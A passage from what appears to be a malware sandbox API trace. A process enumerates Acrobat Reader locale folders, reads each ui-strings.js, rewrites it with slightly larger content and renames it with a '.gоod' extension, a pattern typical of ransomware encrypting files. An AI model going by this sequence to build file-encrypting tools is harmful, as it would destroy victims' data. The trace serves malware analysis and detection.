hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0245.199] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0245.199] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0245.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0245.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0245.200] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0245.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecd20) returned 1 [0245.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3e95490 | out: lpFileInformation=0x3e95490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf)) returned 1 [0245.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecce0) returned 1 [0245.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ec6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0245.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecbd0) returned 1 [0245.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0245.447] GetFileType (hFile=0x86c) returned 0x1 [0245.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb40) returned 1 [0245.447] GetFileType (hFile=0x86c) returned 0x1 [0245.448] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x202ecd78 | out: lpFileSizeHigh=0x202ecd78*=0x0) returned 0x4bf [0245.448] ReadFile (in: hFile=0x86c, lpBuffer=0x37fc448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ecca8, lpOverlapped=0x0 | out: lpBuffer=0x37fc448*, lpNumberOfBytesRead=0x202ecca8*=0x4bf, lpOverlapped=0x0) returned 1 [0245.468] CloseHandle (hObject=0x86c) returned 1 [0248.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ec6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecbd0) returned 1 [0248.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.880] GetFileType (hFile=0x85c) returned 0x1 [0248.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecb40) returned 1 [0248.880] GetFileType (hFile=0x85c) returned 0x1 [0248.880] WriteFile (in: hFile=0x85c, lpBuffer=0x38c4cf8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x202ecbb8, lpOverlapped=0x0 | out: lpBuffer=0x38c4cf8*, lpNumberOfBytesWritten=0x202ecbb8*=0x4c0, lpOverlapped=0x0) returned 1 [0248.880] CloseHandle (hObject=0x85c) returned 1 [0248.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ec850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0248.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecce0) returned 1 [0248.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ecdc0 | out: lpFileInformation=0x202ecdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x908f0b9c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0248.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ecca0) returned 1 [0248.881] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ui-strings.js.gоod")) returned 1 [0248.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0248.882] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x77 [0248.882] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0248.883] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.883] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.883] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0248.883] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0248.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0248.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0248.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0248.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x77 [0248.883] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0248.883] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.884] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.884] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.884] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0248.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0248.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0248.884] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0248.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0248.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38d4dc8 | out: lpFileInformation=0x38d4dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8)) returned 1 [0248.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0248.884] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0248.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0248.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.885] GetFileType (hFile=0x85c) returned 0x1 [0248.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0248.885] GetFileType (hFile=0x85c) returned 0x1 [0248.885] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x4d8 [0248.885] ReadFile (in: hFile=0x85c, lpBuffer=0x38d5648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x38d5648*, lpNumberOfBytesRead=0x202ec278*=0x4d8, lpOverlapped=0x0) returned 1 [0248.886] CloseHandle (hObject=0x85c) returned 1 [0249.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0249.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0249.088] GetFileType (hFile=0x8a4) returned 0x1 [0249.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0249.088] GetFileType (hFile=0x8a4) returned 0x1 [0249.088] WriteFile (in: hFile=0x8a4, lpBuffer=0x38b75a8*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x38b75a8*, lpNumberOfBytesWritten=0x202ec188*=0x4e0, lpOverlapped=0x0) returned 1 [0249.088] CloseHandle (hObject=0x8a4) returned 1 [0249.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0249.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0249.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 